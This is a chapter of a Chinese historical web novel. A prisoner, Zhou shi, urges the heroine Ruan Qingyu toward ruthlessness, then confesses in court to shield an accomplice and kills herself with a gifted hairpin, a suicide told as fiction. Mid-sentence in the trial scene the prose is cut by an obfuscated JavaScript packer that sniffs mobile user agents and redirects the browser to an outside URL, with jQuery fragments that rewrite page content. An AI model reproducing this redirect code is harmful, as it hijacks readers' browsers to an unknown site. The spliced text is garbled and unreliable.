63.第 63 章
作品:《景元七年轶闻》 阮青钰眼中的着急渐渐冷却下来,她又听周氏说:“各人有各人的因果,没有人应该去背负别人的命运,退一步想,我们这样的人,背得起吗?”
周氏见阮青钰冷静下来,继续说:“狠不下心的人,才会说你方才那一串话,不知是要解释给别人还是要说服自己。真正狠心的人,不会做你这番说辞,也不会犹豫,只会觉得冷漠和残酷理所应当。”
她定定看着阮青钰的眼睛:“小夫人,要做狠心的人,别把自己框住了。你最要紧的事情,是活下去,好好活下去。还记得那天在小院里,我和你说过的话吗?”
阮青钰想了想,认真说:“我都记得。”
周氏点点头,“不要忘记。”
她笑了,干了一杯酒,“你看我如今的处境,哪有资格和你传授什么,只是,或许你不信,在那方小院子里的日子,是我此生最松快的时光。”
无论前生今世,从来没有人这样教导过阮青钰。
周氏看透了她的境遇,也看透了她。阮青钰需要抓住自己能利用的一切,让这些都变成活下去的养分,但她却善心未泯。这对她而言,或许是一件危险的事情。
周氏告诉她,做事不要有顾虑,更不要考虑别人,只为自己。不管是周氏,还是阮青钰,都是这尘世中卑微的存在。周氏用一生的血泪学会这些道理,她希望阮青钰能和她有不一样结局。
周氏见阮青钰认真的样子,笑说:“我可不是教唆你弑夫啊,我是到了绝路才这样做,况且,借来的东西,总是要还回去的。”
“还回去?”
“你看我此刻身陷囹圄,还不算还回去吗?时辰不早了,小夫人,你该走了。”
阮青钰确实呆了很久了,她起身道别:“本来是想要送一把钥匙,没送出去,却听了这些开解的话,姐姐为我考量了,句句纯然肺腑,我都记住了。望姐姐明日万般顺利,只等过了堂,便可涅槃。待那时我设宴,我们再一起饮落醉。”
“自然要的。”周氏饮酒后脸红红的,笑起来格外生动。
阮青钰行礼走了。
周氏叫住了她。
“小夫人……好好的。”
阮青钰笑说:“姐姐也是。”
阮青钰喝了几杯酒,傍晚的风温凉宜人,便慢慢走。阮青钰不知道周氏究竟有几分把握,只希望周氏真如她所说,能得以苦海脱身。
到了二门,阮青钰要进内院了,行礼告辞。
“有劳程大人。告辞。”
程系回礼。
阮青钰带着时霜走了。程系看着她的背影,只觉得,这也不太像狐狸精吧。
第二天,阮青钰一早和贺云晟一起去了州府衙门。
阮青钰和贺云晟说,州府衙门存的江家那堆书纸里面,既然翻出了董府的图纸,说不定还有别的线索。她现在是个闲人,愿意去细细翻找那堆纸。
贺云晟听着这冠冕堂皇的话,知道她是想去看周氏的堂审。
贺云晟喝着阮青钰做的砂锅老鸭汤,觉得不错,又看她期盼的眼神,说:“那堆纸可不少,上次观局找了七八个拱星卫,找了两三天,都没找完。你且得翻几天呢。”
“我带着时霜一起,慢慢找就是。”
“也行。”
阮青钰正要道谢,又听到贺云晟说:“既然都去州府了,就去看看周氏过堂吧。”
阮青钰有些尴尬,大家都知道就好了,非得说明了。她本来想悄悄过去,看能不能就近听一听的。
“堂审这么重要的场合,我一个内宅女眷过去,不知道合不合规矩?”
贺云晟看她会说话的眼睛,里面明明白白写着:快说可以。
他不答话,将碗放下,阮青钰立刻起身给续上一碗,捧到贺云晟面前。
贺云晟心里笑她,真是现用人现巴结。
“公堂的里间,我会叫人清场,观局是常在州府的,明天我会叫他在后堂陪你。”
“殿下想得真周到。多谢殿下。”
此刻,阮青钰坐在衙门的内堂,后背一墙之隔,升平酒楼一案已经在审了。
董家的案子,不只是阮青钰最初和贺云晟说的那些,别的也都牵连出来,一并在查。
只是沿着最初的这些线索,已经查出许多证据,贺云晟即刻将这几个案子过堂,不只是为了让董家人多出口供,更重要的是,这件事在朝中已经引起轩然大波,就要马上做出些许结果给朝中的大人物看。
太子恨不得天天一封信,和贺云晟互通信息,拱星卫指挥使更是已经受命在来的路上。
南苏省承宣布政使司已经发了许多公文给光州府,要求州府应答董家相关的事情。光州隶属于南苏省,南苏左布政使是秦阁老一派,据太子的消息,这人可能要过来,路程不远,说来很快就能到。
贺云晟不能让场子冷下来,必得天天有堂审,且公开审讯,许百姓在外围观,若是哪天审理中断了,贺云晟真有点担心,这件事也会被中断。
阮青钰察觉了贺云晟的急切,更担心周氏,她不知道周氏有什么辩解的说辞,忧心审了这一场,周氏的官司也不能了结,不得脱身。
阮青钰支起耳朵,听到张大人让人拿了周氏的供词给她看,问她是不是尽皆属实。
周氏回答:“属实,却不详尽。”
“哦?那你详尽说来。”
“升平酒楼的案子,实在是我一人策划,董二是被我哄骗了,待我将那无赖毒死,他发现了真相,已经来不及反悔。我又以告发他为要挟,逼他将我夫君下狱。都是我做的,董二不过是被胁从。”
周氏竟然将所有罪责揽在自己身上。
阮青钰蹭地站起来,走到左门,用仅剩的理智控制住了自己,只是将帘子掀开一条缝,看到周氏跪在堂下,腰板挺直。
贺云晟就坐在张大人左首,另置一案,阮青钰一掀起帘子,他就感觉到了,他稍微侧身转头就看到了阮青钰的震惊迷茫。
周氏还在说:“我谋害亲夫,毒杀人命,我罪有应得。我贪慕富贵,攀附董二,将他卷进这件案子,他也是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006357|190233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
受害者,不该被重罚。所有罪责,我愿一力承担。”
堂上的人也被惊得一时间说不出话,董二在其他案子中罪行累累,怎么到了这个案子,变成了无辜小白兔。
即便是跪在一旁的董二本人,都僵在原地,满脸无措。
“张大人,世子殿下,青天在上,我字字皆是真相,请大老爷明断!”
周氏说完磕了三个响头,抬起头时,看到了阮青钰在帘后。
周氏对阮青钰笑了,笑得很好看很开心,阮青钰看在眼中,在这笑容里,她仿佛看到了解脱。
惊堂木啪得一声,“周氏休得胡言!你……”
张检还未说完,周氏抢话。
她仰着头:“我愿意以我之命,证我之言!”
话未说完,她已经拔下头钗。
“拦住她!”贺云晟立刻吩咐衙差。
但来不及了。
心存死志的人,谁拦得住。
只在瞬间,那把钗插在周氏的喉头,金色的蝶翼还在颤动。
阮青钰一霎瞳孔放大,即便可以说话,她现在也发不出一丁点声音。
贺云晟下意识回头,他看到阮青钰泛红的眼睛空洞地看着前方,没有聚焦,手紧紧拽着帘子,指关节已经发白,全身僵直,像是吓没了魂。
青山寺那血腥的一仗,都没让她吓成这样。
贺云晟皱了眉,就在贺云晟要起身把她扶回去的时候,阮青钰有了动静,她收回目光,静静放下帘子,自己回到内堂去了。
很快,阮青钰恢复了正常,带着时霜去了偏厅,江家那一堆书纸就在那里。接下来的几天,阮青钰每天都来翻看整理。
贺云晟将程系叫了过去,问他,那天阮青钰去监牢和周氏说了什么。
程系一五一十回答了。
“那话怎么说的,什么琴,什么酒,什么云,我说不出来,就是那意思。”
程系没读过什么书,也就是还算识字,只听上一遍,不能复述这些词句。
贺云晟听了个大概,也基本懂了,不过是些闲话,没什么要紧的。
但程系也说了,周氏喉头那把金钗,是阮青钰送给她的。
若是没有这把钗,周氏也不能这么利索地了结自己。
贺云晟应该先怀疑阮青钰的动机,至少应该责怪她误事,但他听过程系所说阮青钰探望周氏的经过,他的第一反应是,阮青钰被欺瞒利用了,周氏真真可恶。
这个案子中,周氏这样一番话后自裁了,将罪责都揽在了自己身上,董二反倒成了从犯。这自然不是贺云晟所期望的。
况且,在周氏这个自裁相证的计划中,阮青钰的善意成了她成功的一环。贺云晟为阮青钰不值。
贺云晟自己都没有意识到,此刻的他,在乎阮青钰的感受多过于在乎从这件案子中能获益多少。
换做往日,阮青钰会诚惶诚恐,唯恐贺云晟对她的忠诚和能力起疑,早该去贺云晟面前表忠心了,只是自从她看到周氏自裁,这些天,似乎有些不太正常。

